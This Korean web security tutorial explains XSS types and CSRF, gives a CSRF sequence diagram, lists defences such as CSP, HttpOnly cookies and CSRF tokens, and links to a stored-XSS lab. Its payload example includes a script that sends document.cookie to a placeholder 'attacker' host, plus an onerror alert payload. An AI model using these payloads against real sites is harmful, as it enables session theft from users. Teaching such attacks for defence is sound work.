XSS와 CSRF는 모두 피해자의 브라우저를 이용한다. 서버가 아니라 사용자를 노린다.

XSS (Cross-Site Scripting)

공격자의 스크립트가 다른 사용자의 브라우저에서 실행된다. 세션 탈취, 키로깅, 피싱 폼 삽입이 가능하다.

유형설명
ReflectedURL 파라미터가 즉시 응답에 반사됨. 링크 클릭 유도
StoredDB에 저장되어 방문자마다 실행(게시판, 댓글) — 가장 위험
DOM-based클라이언트 JS가 입력을 안전하지 않게 DOM에 반영
  <!-- 저장형 XSS 페이로드 예시 (인가된 실습 앱에서만) -->
<script>fetch('https://attacker/c?'+document.cookie)</script>
<img src=x onerror="alert(document.domain)">
  

방어: 출력 인코딩(컨텍스트별), 입력 검증, CSP(Content-Security-Policy), 쿠키에 HttpOnly·Secure 플래그.

CSRF (Cross-Site Request Forgery)

로그인된 피해자가 악성 페이지를 열면, 브라우저가 자동으로 실린 쿠키와 함께 공격자가 원하는 요청을 정상 사이트로 보낸다.

sequenceDiagram
    participant U as 피해자 브라우저
    participant A as 악성 사이트
    participant B as 은행(로그인 상태)
    U->>A: 악성 페이지 방문
    A-->>U: 숨은 폼 자동 제출
    U->>B: 송금 요청 + 세션 쿠키 자동 첨부
    B-->>U: 요청 처리(공격자 의도대로)

방어: CSRF 토큰(예측 불가한 값을 폼에 포함해 검증), SameSite=Lax/Strict 쿠키, 중요 작업에 재인증.


🧪 실습해 보기: 문제 2 — 저장형 XSS — 저장형 XSS 페이로드를 직접 심어 본다.

Last updated 23 2026, 00:00 UTC. history